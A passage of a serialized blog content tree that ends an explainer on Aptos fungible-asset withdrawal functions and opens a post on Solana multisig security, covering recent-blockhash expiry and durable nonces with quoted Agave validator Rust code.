doesn’t exist. If the fungible store has been converted, a primary fungible store and linked fungible asset will already exist, preventing re-registration.",{"type":26,"tag":27,"props":67215,"children":67216},{"id":2533},[67217],{"type":32,"value":2536},{"type":26,"tag":35,"props":67219,"children":67220},{},[67221,67223,67228],{"type":32,"value":67222},"Aptos's implementation of fungible assets does indeed resolve the original problems with ",{"type":26,"tag":53,"props":67224,"children":67226},{"className":67225},[],[67227],{"type":32,"value":60658},{"type":32,"value":353},{"type":26,"tag":35,"props":67230,"children":67231},{},[67232],{"type":32,"value":67233},"However, this solution comes with its own challenges, in part because of the numerous layers that interact with each other. Before using the fungible asset standard, it's important to understand these different APIs and potential pitfalls.",{"type":26,"tag":35,"props":67235,"children":67236},{},[67237,67239],{"type":32,"value":67238},"As a final exercise to the reader, how many different ways are there to withdraw a fungible asset?",{"type":26,"tag":15179,"props":67240,"children":67241},{},[67242],{"type":26,"tag":116,"props":67243,"children":67245},{"href":29326,"ariaDescribedBy":67244,"dataFootnoteRef":7,"id":29328},[15186],[67246],{"type":32,"value":3722},{"type":26,"tag":18130,"props":67248,"children":67250},{"className":67249,"dataFootnotes":7},[18133],[67251,67256],{"type":26,"tag":27,"props":67252,"children":67254},{"className":67253,"id":15186},[18138],[67255],{"type":32,"value":18141},{"type":26,"tag":181,"props":67257,"children":67258},{},[67259],{"type":26,"tag":86,"props":67260,"children":67261},{"id":30069},[67262,67264,67306],{"type":32,"value":67263},"There are at least four functions that can withdraw a fungible asset:",{"type":26,"tag":82,"props":67265,"children":67266},{},[67267,67277,67286,67296],{"type":26,"tag":86,"props":67268,"children":67269},{},[67270],{"type":26,"tag":116,"props":67271,"children":67275},{"href":67272,"rel":67273,":style":67274},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/fungible_asset.move#L782",[120],"color: #007bff;",[67276],{"type":32,"value":63959},{"type":26,"tag":86,"props":67278,"children":67279},{},[67280],{"type":26,"tag":116,"props":67281,"children":67284},{"href":67282,"rel":67283,":style":67274},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/dispatchable_fungible_asset.move#L74",[120],[67285],{"type":32,"value":65899},{"type":26,"tag":86,"props":67287,"children":67288},{},[67289],{"type":26,"tag":116,"props":67290,"children":67293},{"href":67291,"rel":67292,":style":67274},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move#L157",[120],[67294],{"type":32,"value":67295},"primary_fungible_store::withdraw",{"type":26,"tag":86,"props":67297,"children":67298},{},[67299],{"type":26,"tag":116,"props":67300,"children":67303},{"href":67301,"rel":67302,":style":67274},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/coin.move#L1091-L1098",[120],[67304],{"type":32,"value":67305},"coin::withdraw",{"type":26,"tag":116,"props":67307,"children":67309},{"href":30097,"ariaLabel":18244,"className":67308,"dataFootnoteBackref":7},[18246],[67310],{"type":32,"value":18249},{"type":26,"tag":2548,"props":67312,"children":67313},{},[67314],{"type":32,"value":2552},{"title":7,"searchDepth":516,"depth":516,"links":67316},[67317,67318,67319,67322,67327,67328,67329,67330],{"id":60644,"depth":516,"text":60647},{"id":61189,"depth":516,"text":61192},{"id":61749,"depth":516,"text":61752,"children":67320},[67321],{"id":62260,"depth":539,"text":62263},{"id":62517,"depth":516,"text":62520,"children":67323},[67324,67325,67326],{"id":62560,"depth":539,"text":62563},{"id":63265,"depth":539,"text":63268},{"id":64923,"depth":539,"text":64926},{"id":65454,"depth":516,"text":65457},{"id":66435,"depth":516,"text":66438},{"id":2533,"depth":516,"text":2536},{"id":15186,"depth":516,"text":18141},"content:blog:2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets",{"_path":67335,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":67336,"description":67337,"date":67338,"author":5432,"image":67339,"isFeatured":18,"onBlogPage":18,"tags":67341,"body":67342,"_type":2566,"_id":69170,"_source":2568,"_file":69171,"_stem":69172,"_extension":2571},"/blog/2025-02-22-multisig-security","Solana Multisig Security","What can teams do if their multisig signers are compromised? We explore Solana's transaction signing model and present a procedure for safe signing in the presence of malicious signers on Solana.","2025-02-22",{"src":67340,"width":5097,"height":5098},"/posts/multisig-security/title.png",[2583],{"type":23,"children":67343,"toc":69161},[67344,67357,67363,67368,67374,67387,67395,67408,67468,67490,67617,67622,67635,67647,67653,67667,67680,67694,68176,68181,68189,68203,68217,68356,68368,68374,68379,68397,68402,68407,68428,68712,68727,68915,68928,69057,69062,69067,69072,69100,69106,69111,69125,69157],{"type":26,"tag":35,"props":67345,"children":67346},{},[67347,67348,67355],{"type":32,"value":16319},{"type":26,"tag":116,"props":67349,"children":67352},{"href":67350,"rel":67351},"https://www.securityalliance.org/news/2025-02-dprk-advisory",[120],[67353],{"type":32,"value":67354},"Bybit hack",{"type":32,"value":67356}," raises an interesting question: what can teams do if their signers are compromised?",{"type":26,"tag":27,"props":67358,"children":67360},{"id":67359},"solana-signatures",[67361],{"type":32,"value":67362},"Solana Signatures",{"type":26,"tag":35,"props":67364,"children":67365},{},[67366],{"type":32,"value":67367},"We first need to understand how Solana signatures work. There are two ways to sign a Solana transaction.",{"type":26,"tag":41,"props":67369,"children":67371},{"id":67370},"recent-blockhash",[67372],{"type":32,"value":67373},"Recent Blockhash",{"type":26,"tag":35,"props":67375,"children":67376},{},[67377,67379,67386],{"type":32,"value":67378},"The most straightforward is with a \"recent blockhash\". From ",{"type":26,"tag":116,"props":67380,"children":67383},{"href":67381,"rel":67382},"https://solana.com/developers/guides/advanced/confirmation",[120],[67384],{"type":32,"value":67385},"the docs",{"type":32,"value":179},{"type":26,"tag":2637,"props":67388,"children":67389},{},[67390],{"type":26,"tag":35,"props":67391,"children":67392},{},[67393],{"type":32,"value":67394},"During transaction processing, Solana Validators will check if each transaction's recent blockhash is recorded within the most recent 151 stored hashes (aka \"max processing age\"). If the transaction's recent blockhash is older than this max processing age, the transaction is not processed.",{"type":26,"tag":35,"props":67396,"children":67397},{},[67398,67400,67407],{"type":32,"value":67399},"The actual constant ",{"type":26,"tag":116,"props":67401,"children":67404},{"href":67402,"rel":67403},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/sdk/clock/src/lib.rs#L129-L130",[120],[67405],{"type":32,"value":67406},"is defined here",{"type":32,"value":353},{"type":26,"tag":465,"props":67409,"children":67411},{"className":2685,"code":67410,"language":2684,"meta":7,"style":7},"// The maximum age of a blockhash that will be accepted by the leader\npub const MAX_PROCESSING_AGE: usize = MAX_RECENT_BLOCKHASHES / 2;\n",[67412],{"type":26,"tag":53,"props":67413,"children":67414},{"__ignoreMap":7},[67415,67423],{"type":26,"tag":475,"props":67416,"children":67417},{"class":477,"line":478},[67418],{"type":26,"tag":475,"props":67419,"children":67420},{"style":552},[67421],{"type":32,"value":67422},"// The maximum age of a blockhash that will be accepted by the leader\n",{"type":26,"tag":475,"props":67424,"children":67425},{"class":477,"line":516},[67426,67430,67434,67439,67443,67447,67451,67456,67460,67464],{"type":26,"tag":475,"props":67427,"children":67428},{"style":482},[67429],{"type":32,"value":13397},{"type":26,"tag":475,"props":67431,"children":67432},{"style":482},[67433],{"type":32,"value":38803},{"type":26,"tag":475,"props":67435,"children":67436},{"style":499},[67437],{"type":32,"value":67438}," MAX_PROCESSING_AGE",{"type":26,"tag":475,"props":67440,"children":67441},{"style":714},[67442],{"type":32,"value":179},{"type":26,"tag":475,"props":67444,"children":67445},{"style":505},[67446],{"type":32,"value":13438},{"type":26,"tag":475,"props":67448,"children":67449},{"style":714},[67450],{"type":32,"value":2383},{"type":26,"tag":475,"props":67452,"children":67453},{"style":499},[67454],{"type":32,"value":67455}," MAX_RECENT_BLOCKHASHES ",{"type":26,"tag":475,"props":67457,"children":67458},{"style":714},[67459],{"type":32,"value":4292},{"type":26,"tag":475,"props":67461,"children":67462},{"style":903},[67463],{"type":32,"value":7645},{"type":26,"tag":475,"props":67465,"children":67466},{"style":499},[67467],{"type":32,"value":2729},{"type":26,"tag":35,"props":67469,"children":67470},{},[67471,67473,67480,67482,67488],{"type":32,"value":67472},"For those curious, the logic ",{"type":26,"tag":116,"props":67474,"children":67477},{"href":67475,"rel":67476},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L61",[120],[67478],{"type":32,"value":67479},"starts here",{"type":32,"value":67481}," and is quite straightforward to follow, ending in a ",{"type":26,"tag":53,"props":67483,"children":67485},{"className":67484},[],[67486],{"type":32,"value":67487},"is_hash_index_valid",{"type":32,"value":67489}," check.",{"type":26,"tag":465,"props":67491,"children":67493},{"className":2685,"code":67492,"language":2684,"meta":7,"style":7},"fn is_hash_index_valid(last_hash_index: u64, max_age: usize, hash_index: u64) -> bool {\n last_hash_index - hash_index \u003C= max_age as u64\n}\n",[67494],{"type":26,"tag":53,"props":67495,"children":67496},{"__ignoreMap":7},[67497,67576,67610],{"type":26,"tag":475,"props":67498,"children":67499},{"class":477,"line":478},[67500,67504,67509,67513,67518,67522,67526,67530,67535,67539,67543,67547,67552,67556,67560,67564,67568,67572],{"type":26,"tag":475,"props":67501,"children":67502},{"style":482},[67503],{"type":32,"value":19974},{"type":26,"tag":475,"props":67505,"children":67506},{"style":493},[67507],{"type":32,"value":67508}," is_hash_index_valid",{"type":26,"tag":475,"props":67510,"children":67511},{"style":499},[67512],{"type":32,"value":626},{"type":26,"tag":475,"props":67514,"children":67515},{"style":2375},[67516],{"type":32,"value":67517},"last_hash_index",{"type":26,"tag":475,"props":67519,"children":67520},{"style":714},[67521],{"type":32,"value":179},{"type":26,"tag":475,"props":67523,"children":67524},{"style":505},[67525],{"type":32,"value":5573},{"type":26,"tag":475,"props":67527,"children":67528},{"style":499},[67529],{"type":32,"value":637},{"type":26,"tag":475,"props":67531,"children":67532},{"style":2375},[67533],{"type":32,"value":67534},"max_age",{"type":26,"tag":475,"props":67536,"children":67537},{"style":714},[67538],{"type":32,"value":179},{"type":26,"tag":475,"props":67540,"children":67541},{"style":505},[67542],{"type":32,"value":13438},{"type":26,"tag":475,"props":67544,"children":67545},{"style":499},[67546],{"type":32,"value":637},{"type":26,"tag":475,"props":67548,"children":67549},{"style":2375},[67550],{"type":32,"value":67551},"hash_index",{"type":26,"tag":475,"props":67553,"children":67554},{"style":714},[67555],{"type":32,"value":179},{"type":26,"tag":475,"props":67557,"children":67558},{"style":505},[67559],{"type":32,"value":5573},{"type":26,"tag":475,"props":67561,"children":67562},{"style":499},[67563],{"type":32,"value":2794},{"type":26,"tag":475,"props":67565,"children":67566},{"style":714},[67567],{"type":32,"value":13464},{"type":26,"tag":475,"props":67569,"children":67570},{"style":505},[67571],{"type":32,"value":11759},{"type":26,"tag":475,"props":67573,"children":67574},{"style":499},[67575],{"type":32,"value":579},{"type":26,"tag":475,"props":67577,"children":67578},{"class":477,"line":516},[67579,67584,67588,67593,67597,67602,67606],{"type":26,"tag":475,"props":67580,"children":67581},{"style":2375},[67582],{"type":32,"value":67583}," last_hash_index",{"type":26,"tag":475,"props":67585,"children":67586},{"style":714},[67587],{"type":32,"value":50947},{"type":26,"tag":475,"props":67589,"children":67590},{"style":2375},[67591],{"type":32,"value":67592}," hash_index",{"type":26,"tag":475,"props":67594,"children":67595},{"style":714},[67596],{"type":32,"value":7908},{"type":26,"tag":475,"props":67598,"children":67599},{"style":2375},[67600],{"type":32,"value":67601}," max_age",{"type":26,"tag":475,"props":67603,"children":67604},{"style":482},[67605],{"type":32,"value":8539},{"type":26,"tag":475,"props":67607,"children":67608},{"style":505},[67609],{"type":32,"value":12904},{"type":26,"tag":475,"props":67611,"children":67612},{"class":477,"line":539},[67613],{"type":26,"tag":475,"props":67614,"children":67615},{"style":499},[67616],{"type":32,"value":3607},{"type":26,"tag":35,"props":67618,"children":67619},{},[67620],{"type":32,"value":67621},"One important consequence is that any signed transaction has a natural expiration of around a few minutes.",{"type":26,"tag":2637,"props":67623,"children":67624},{},[67625],{"type":26,"tag":35,"props":67626,"children":67627},{},[67628,67630],{"type":32,"value":67629},"Since slots (aka the time period a validator can produce a block) are configured to last about 400ms, but may fluctuate between 400ms and 600ms, ",{"type":26,"tag":105,"props":67631,"children":67632},{},[67633],{"type":32,"value":67634},"a given blockhash can only be used by transactions for about 60 to 90 seconds before it will be considered expired by the runtime.",{"type":26,"tag":35,"props":67636,"children":67637},{},[67638,67640,67645],{"type":32,"value":67639},"This means an attacker ",{"type":26,"tag":2615,"props":67641,"children":67642},{},[67643],{"type":32,"value":67644},"must use",{"type":32,"value":67646}," a malicious signed transaction within a short timeframe.",{"type":26,"tag":41,"props":67648,"children":67650},{"id":67649},"durable-nonce",[67651],{"type":32,"value":67652},"Durable Nonce",{"type":26,"tag":35,"props":67654,"children":67655},{},[67656,67658,67665],{"type":32,"value":67657},"The second type of signature ",{"type":26,"tag":116,"props":67659,"children":67662},{"href":67660,"rel":67661},"https://solana.com/developers/guides/advanced/introduction-to-durable-nonces",[120],[67663],{"type":32,"value":67664},"is a durable nonce",{"type":32,"value":67666},". These were created to solve the very feature (or problem) mentioned above: short expiration time.",{"type":26,"tag":2637,"props":67668,"children":67669},{},[67670],{"type":26,"tag":35,"props":67671,"children":67672},{},[67673,67675],{"type":32,"value":67674},"durable nonces provide an opportunity to create and sign a transaction that can be submitted at any point in the future, and much more. ",{"type":26,"tag":105,"props":67676,"children":67677},{},[67678],{"type":32,"value":67679},"This opens up a wide range of use cases that are otherwise not possible or too difficult to implement",{"type":26,"tag":35,"props":67681,"children":67682},{},[67683,67685,67692],{"type":32,"value":67684},"If we examine the code ",{"type":26,"tag":116,"props":67686,"children":67689},{"href":67687,"rel":67688},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L104",[120],[67690],{"type":32,"value":67691},"for recent blockhash validation",{"type":32,"value":67693},", we can also see the handling for durable nonces.",{"type":26,"tag":465,"props":67695,"children":67697},{"className":2685,"code":67696,"language":2684,"meta":7,"style":7}," let recent_blockhash = tx.message().recent_blockhash();\n if let Some(hash_info) = hash_queue.get_hash_info_if_valid(recent_blockhash, max_age) {\n Ok(CheckedTransactionDetails {\n nonce: None,\n lamports_per_signature: hash_info.lamports_per_signature(),\n })\n } else if let Some((nonce, previous_lamports_per_signature)) = self\n .check_load_and_advance_message_nonce_account(\n tx.message(),\n next_durable_nonce,\n next_lamports_per_signature,\n )\n {\n Ok(CheckedTransactionDetails {\n nonce: Some(nonce),\n lamports_per_signature: previous_lamports_per_signature,\n })\n } else {\n error_counters.blockhash_not_found += 1;\n Err(TransactionError::BlockhashNotFound)\n }\n",[67698],{"type":26,"tag":53,"props":67699,"children":67700},{"__ignoreMap":7},[67701,67748,67814,67834,67854,67884,67892,67946,67963,67983,67995,68007,68015,68022,68041,68068,68088,68095,68110,68140,68169],{"type":26,"tag":475,"props":67702,"children":67703},{"class":477,"line":478},[67704,67708,67713,67717,67722,67726,67731,67735,67739,67744],{"type":26,"tag":475,"props":67705,"children":67706},{"style":482},[67707],{"type":32,"value":2705},{"type":26,"tag":475,"props":67709,"children":67710},{"style":2375},[67711],{"type":32,"value":67712}," recent_blockhash",{"type":26,"tag":475,"props":67714,"children":67715},{"style":714},[67716],{"type":32,"value":2383},{"type":26,"tag":475,"props":67718,"children":67719},{"style":2375},[67720],{"type":32,"value":67721}," tx",{"type":26,"tag":475,"props":67723,"children":67724},{"style":714},[67725],{"type":32,"value":353},{"type":26,"tag":475,"props":67727,"children":67728},{"style":493},[67729],{"type":32,"value":67730},"message",{"type":26,"tag":475,"props":67732,"children":67733},{"style":499},[67734],{"type":32,"value":13586},{"type":26,"tag":475,"props":67736,"children":67737},{"style":714},[67738],{"type":32,"value":353},{"type":26,"tag":475,"props":67740,"children":67741},{"style":493},[67742],{"type":32,"value":67743},"recent_blockhash",{"type":26,"tag":475,"props":67745,"children":67746},{"style":499},[67747],{"type":32,"value":3376},{"type":26,"tag":475,"props":67749,"children":67750},{"class":477,"line":516},[67751,67755,67759,67763,67767,67772,67776,67780,67785,67789,67794,67798,67802,67806,67810],{"type":26,"tag":475,"props":67752,"children":67753},{"style":586},[67754],{"type":32,"value":11988},{"type":26,"tag":475,"props":67756,"children":67757},{"style":482},[67758],{"type":32,"value":27006},{"type":26,"tag":475,"props":67760,"children":67761},{"style":505},[67762],{"type":32,"value":27011},{"type":26,"tag":475,"props":67764,"children":67765},{"style":499},[67766],{"type":32,"value":626},{"type":26,"tag":475,"props":67768,"children":67769},{"style":2375},[67770],{"type":32,"value":67771},"hash_info",{"type":26,"tag":475,"props":67773,"children":67774},{"style":499},[67775],{"type":32,"value":2794},{"type":26,"tag":475,"props":67777,"children":67778},{"style":714},[67779],{"type":32,"value":786},{"type":26,"tag":475,"props":67781,"children":67782},{"style":2375},[67783],{"type":32,"value":67784}," hash_queue",{"type":26,"tag":475,"props":67786,"children":67787},{"style":714},[67788],{"type":32,"value":353},{"type":26,"tag":475,"props":67790,"children":67791},{"style":493},[67792],{"type":32,"value":67793},"get_hash_info_if_valid",{"type":26,"tag":475,"props":67795,"children":67796},{"style":499},[67797],{"type":32,"value":626},{"type":26,"tag":475,"props":67799,"children":67800},{"style":2375},[67801],{"type":32,"value":67743},{"type":26,"tag":475,"props":67803,"children":67804},{"style":499},[67805],{"type":32,"value":637},{"type":26,"tag":475,"props":67807,"children":67808},{"style":2375},[67809],{"type":32,"value":67534},{"type":26,"tag":475,"props":67811,"children":67812},{"style":499},[67813],{"type":32,"value":676},{"type":26,"tag":475,"props":67815,"children":67816},{"class":477,"line":539},[67817,67821,67825,67830],{"type":26,"tag":475,"props":67818,"children":67819},{"style":505},[67820],{"type":32,"value":14518},{"type":26,"tag":475,"props":67822,"children":67823},{"style":499},[67824],{"type":32,"value":626},{"type":26,"tag":475,"props":67826,"children":67827},{"style":505},[67828],{"type":32,"value":67829},"CheckedTransactionDetails",{"type":26,"tag":475,"props":67831,"children":67832},{"style":499},[67833],{"type":32,"value":579},{"type":26,"tag":475,"props":67835,"children":67836},{"class":477,"line":548},[67837,67842,67846,67850],{"type":26,"tag":475,"props":67838,"children":67839},{"style":2375},[67840],{"type":32,"value":67841}," nonce",{"type":26,"tag":475,"props":67843,"children":67844},{"style":714},[67845],{"type":32,"value":179},{"type":26,"tag":475,"props":67847,"children":67848},{"style":505},[67849],{"type":32,"value":27459},{"type":26,"tag":475,"props":67851,"children":67852},{"style":499},[67853],{"type":32,"value":2425},{"type":26,"tag":475,"props":67855,"children":67856},{"class":477,"line":558},[67857,67862,67866,67871,67875,67880],{"type":26,"tag":475,"props":67858,"children":67859},{"style":2375},[67860],{"type":32,"value":67861}," lamports_per_signature",{"type":26,"tag":475,"props":67863,"children":67864},{"style":714},[67865],{"type":32,"value":179},{"type":26,"tag":475,"props":67867,"children":67868},{"style":2375},[67869],{"type":32,"value":67870}," hash_info",{"type":26,"tag":475,"props":67872,"children":67873},{"style":714},[67874],{"type":32,"value":353},{"type":26,"tag":475,"props":67876,"children":67877},{"style":493},[67878],{"type":32,"value":67879},"lamports_per_signature",{"type":26,"tag":475,"props":67881,"children":67882},{"style":499},[67883],{"type":32,"value":3197},{"type":26,"tag":475,"props":67885,"children":67886},{"class":477,"line":582},[67887],{"type":26,"tag":475,"props":67888,"children":67889},{"style":499},[67890],{"type":32,"value":67891}," })\n",{"type":26,"tag":475,"props":67893,"children":67894},{"class":477,"line":596},[67895,67899,67903,67907,67911,67915,67919,67924,67928,67933,67937,67941],{"type":26,"tag":475,"props":67896,"children":67897},{"style":499},[67898],{"type":32,"value":15484},{"type":26,"tag":475,"props":67900,"children":67901},{"style":586},[67902],{"type":32,"value":3023},{"type":26,"tag":475,"props":67904,"children":67905},{"style":586},[67906],{"type":32,"value":15493},{"type":26,"tag":475,"props":67908,"children":67909},{"style":482},[67910],{"type":32,"value":27006},{"type":26,"tag":475,"props":67912,"children":67913},{"style":505},[67914],{"type":32,"value":27011},{"type":26,"tag":475,"props":67916,"children":67917},{"style":499},[67918],{"type":32,"value":31223},{"type":26,"tag":475,"props":67920,"children":67921},{"style":2375},[67922],{"type":32,"value":67923},"nonce",{"type":26,"tag":475,"props":67925,"children":67926},{"style":499},[67927],{"type":32,"value":637},{"type":26,"tag":475,"props":67929,"children":67930},{"style":2375},[67931],{"type":32,"value":67932},"previous_lamports_per_signature",{"type":26,"tag":475,"props":67934,"children":67935},{"style":499},[67936],{"type":32,"value":8548},{"type":26,"tag":475,"props":67938,"children":67939},{"style":714},[67940],{"type":32,"value":786},{"type":26,"tag":475,"props":67942,"children":67943},{"style":482},[67944],{"type":32,"value":67945}," self\n",{"type":26,"tag":475,"props":67947,"children":67948},{"class":477,"line":610},[67949,67954,67959],{"type":26,"tag":475,"props":67950,"children":67951},{"style":714},[67952],{"type":32,"value":67953}," .",{"type":26,"tag":475,"props":67955,"children":67956},{"style":493},[67957],{"type":32,"value":67958},"check_load_and_advance_message_nonce_account",{"type":26,"tag":475,"props":67960,"children":67961},{"style":499},[67962],{"type":32,"value":3169},{"type":26,"tag":475,"props":67964,"children":67965},{"class":477,"line":650},[67966,67971,67975,67979],{"type":26,"tag":475,"props":67967,"children":67968},{"style":2375},[67969],{"type":32,"value":67970}," tx",{"type":26,"tag":475,"props":67972,"children":67973},{"style":714},[67974],{"type":32,"value":353},{"type":26,"tag":475,"props":67976,"children":67977},{"style":493},[67978],{"type":32,"value":67730},{"type":26,"tag":475,"props":67980,"children":67981},{"style":499},[67982],{"type":32,"value":3197},{"type":26,"tag":475,"props":67984,"children":67985},{"class":477,"line":679},[67986,67991],{"type":26,"tag":475,"props":67987,"children":67988},{"style":2375},[67989],{"type":32,"value":67990}," next_durable_nonce",{"type":26,"tag":475,"props":67992,"children":67993},{"style":499},[67994],{"type":32,"value":2425},{"type":26,"tag":475,"props":67996,"children":67997},{"class":477,"line":735},[67998,68003],{"type":26,"tag":475,"props":67999,"children":68000},{"style":2375},[68001],{"type":32,"value":68002}," next_lamports_per_signature",{"type":26,"tag":475,"props":68004,"children":68005},{"style":499},[68006],{"type":32,"value":2425},{"type":26,"tag":475,"props":68008,"children":68009},{"class":477,"line":744},[68010],{"type":26,"tag":475,"props":68011,"children":68012},{"style":499},[68013],{"type":32,"value":68014}," )\n",{"type":26,"tag":475,"props":68016,"children":68017},{"class":477,"line":753},[68018],{"type":26,"tag":475,"props":68019,"children":68020},{"style":499},[68021],{"type":32,"value":28889},{"type":26,"tag":475,"props":68023,"children":68024},{"class":477,"line":761},[68025,68029,68033,68037],{"type":26,"tag":475,"props":68026,"children":68027},{"style":505},[68028],{"type":32,"value":14518},{"type":26,"tag":475,"props":68030,"children":68031},{"style":499},[68032],{"type":32,"value":626},{"type":26,"tag":475,"props":68034,"children":68035},{"style":505},[68036],{"type":32,"value":67829},{"type":26,"tag":475,"props":68038,"children":68039},{"style":499},[68040],{"type":32,"value":579},{"type":26,"tag":475,"props":68042,"children":68043},{"class":477,"line":770},[68044,68048,68052,68056,68060,68064],{"type":26,"tag":475,"props":68045,"children":68046},{"style":2375},[68047],{"type":32,"value":67841},{"type":26,"tag":475,"props":68049,"children":68050},{"style":714},[68051],{"type":32,"value":179},{"type":26,"tag":475,"props":68053,"children":68054},{"style":505},[68055],{"type":32,"value":27011},{"type":26,"tag":475,"props":68057,"children":68058},{"style":499},[68059],{"type":32,"value":626},{"type":26,"tag":475,"props":68061,"children":68062},{"style":2375},[68063],{"type":32,"value":67923},{"type":26,"tag":475,"props":68065,"children":68066},{"style":499},[68067],{"type":32,"value":6450},{"type":26,"tag":475,"props":68069,"children":68070},{"class":477,"line":794},[68071,68075,68079,68084],{"type":26,"tag":475,"props":68072,"children":68073},{"style":2375},[68074],{"type":32,"value":67861},{"type":26,"tag":475,"props":68076,"children":68077},{"style":714},[68078],{"type":32,"value":179},{"type":26,"tag":475,"props":68080,"children":68081},{"style":2375},[68082],{"type":32,"value":68083}," previous_lamports_per_signature",{"type":26,"tag":475,"props":68085,"children":68086},{"style":499},[68087],{"type":32,"value":2425},{"type":26,"tag":475,"props":68089,"children":68090},{"class":477,"line":831},[68091],{"type":26,"tag":475,"props":68092,"children":68093},{"style":499},[68094],{"type":32,"value":67891},{"type":26,"tag":475,"props":68096,"children":68097},{"class":477,"line":845},[68098,68102,68106],{"type":26,"tag":475,"props":68099,"children":68100},{"style":499},[68101],{"type":32,"value":15484},{"type":26,"tag":475,"props":68103,"children":68104},{"style":586},[68105],{"type":32,"value":3023},{"type":26,"tag":475,"props":68107,"children":68108},{"style":499},[68109],{"type":32,"value":579},{"type":26,"tag":475,"props":68111,"children":68112},{"class":477,"line":854},[68113,68118,68122,68127,68132,68136],{"type":26,"tag":475,"props":68114,"children":68115},{"style":2375},[68116],{"type":32,"value":68117}," error_counters",{"type":26,"tag":475,"props":68119,"children":68120},{"style":714},[68121],{"type":32,"value":353},{"type":26,"tag":475,"props":68123,"children":68124},{"style":499},[68125],{"type":32,"value":68126},"blockhash_not_found ",{"type":26,"tag":475,"props":68128,"children":68129},{"style":714},[68130],{"type":32,"value":68131},"+=",{"type":26,"tag":475,"props":68133,"children":68134},{"style":903},[68135],{"type":32,"value":4234},{"type":26,"tag":475,"props":68137,"children":68138},{"style":499},[68139],{"type":32,"value":2729},{"type":26,"tag":475,"props":68141,"children":68142},{"class":477,"line":862},[68143,68147,68151,68156,68160,68165],{"type":26,"tag":475,"props":68144,"children":68145},{"style":505},[68146],{"type":32,"value":14560},{"type":26,"tag":475,"props":68148,"children":68149},{"style":499},[68150],{"type":32,"value":626},{"type":26,"tag":475,"props":68152,"children":68153},{"style":505},[68154],{"type":32,"value":68155},"TransactionError",{"type":26,"tag":475,"props":68157,"children":68158},{"style":714},[68159],{"type":32,"value":3187},{"type":26,"tag":475,"props":68161,"children":68162},{"style":505},[68163],{"type":32,"value":68164},"BlockhashNotFound",{"type":26,"tag":475,"props":68166,"children":68167},{"style":499},[68168],{"type":32,"value":647},{"type":26,"tag":475,"props":68170,"children":68171},{"class":477,"line":885},[68172],{"type":26,"tag":475,"props":68173,"children":68174},{"style":499},[68175],{"type":32,"value":851},{"type":26,"tag":35,"props":68177,"children":68178},{},[68179],{"type":32,"value":68180},"The documentation does a good job of explaining how they work.",{"type":26,"tag":2637,"props":68182,"children":68183},{},[68184],{"type":26,"tag":35,"props":68185,"children":68186},{},[68187],{"type":32,"value":68188},"Durable Transaction Nonces, which are 32-byte in length (usually represented as base58 encoded strings), are used in place of recent blockhashes to make every transaction unique (to avoid double-spending) while removing the mortality on the unexecuted transaction.",{"type":26,"tag":35,"props":68190,"children":68191},{},[68192,68194,68201],{"type":32,"value":68193},"Durable nonces are created and managed ",{"type":26,"tag":116,"props":68195,"children":68198},{"href":68196,"rel":68197},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/programs/system/src/system_processor.rs#L446",[120],[68199],{"type":32,"value":68200},"by the system program",{"type":32,"value":68202},". They don't have a fixed PDA, so each account can have multiple associated nonces.",{"type":26,"tag":35,"props":68204,"children":68205},{},[68206,68208,68215],{"type":32,"value":68207},"After a durable nonce is used, it'll be \"advanced\" to preventing replay attacks. The new nonce is calculated ",{"type":26,"tag":116,"props":68209,"children":68212},{"href":68210,"rel":68211},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L81",[120],[68213],{"type":32,"value":68214},"based on the current blockhash",{"type":32,"value":68216},", and cannot be predicted in advance.",{"type":26,"tag":465,"props":68218,"children":68220},{"className":2685,"code":68219,"language":2684,"meta":7,"style":7}," let hash_queue = self.blockhash_queue.read().unwrap();\n let last_blockhash = hash_queue.last_hash();\n let next_durable_nonce = DurableNonce::from_blockhash(&last_blockhash);\n",[68221],{"type":26,"tag":53,"props":68222,"children":68223},{"__ignoreMap":7},[68224,68276,68309],{"type":26,"tag":475,"props":68225,"children":68226},{"class":477,"line":478},[68227,68231,68235,68239,68243,68247,68252,68256,68260,68264,68268,68272],{"type":26,"tag":475,"props":68228,"children":68229},{"style":482},[68230],{"type":32,"value":2705},{"type":26,"tag":475,"props":68232,"children":68233},{"style":2375},[68234],{"type":32,"value":67784},{"type":26,"tag":475,"props":68236,"children":68237},{"style":714},[68238],{"type":32,"value":2383},{"type":26,"tag":475,"props":68240,"children":68241},{"style":482},[68242],{"type":32,"value":13504},{"type":26,"tag":475,"props":68244,"children":68245},{"style":714},[68246],{"type":32,"value":353},{"type":26,"tag":475,"props":68248,"children":68249},{"style":499},[68250],{"type":32,"value":68251},"blockhash_queue",{"type":26,"tag":475,"props":68253,"children":68254},{"style":714},[68255],{"type":32,"value":353},{"type":26,"tag":475,"props":68257,"children":68258},{"style":493},[68259],{"type":32,"value":60332},{"type":26,"tag":475,"props":68261,"children":68262},{"style":499},[68263],{"type":32,"value":13586},{"type":26,"tag":475,"props":68265,"children":68266},{"style":714},[68267],{"type":32,"value":353},{"type":26,"tag":475,"props":68269,"children":68270},{"style":493},[68271],{"type":32,"value":3371},{"type":26,"tag":475,"props":68273,"children":68274},{"style":499},[68275],{"type":32,"value":3376},{"type":26,"tag":475,"props":68277,"children":68278},{"class":477,"line":516},[68279,68283,68288,68292,68296,68300,68305],{"type":26,"tag":475,"props":68280,"children":68281},{"style":482},[68282],{"type":32,"value":2705},{"type":26,"tag":475,"props":68284,"children":68285},{"style":2375},[68286],{"type":32,"value":68287}," 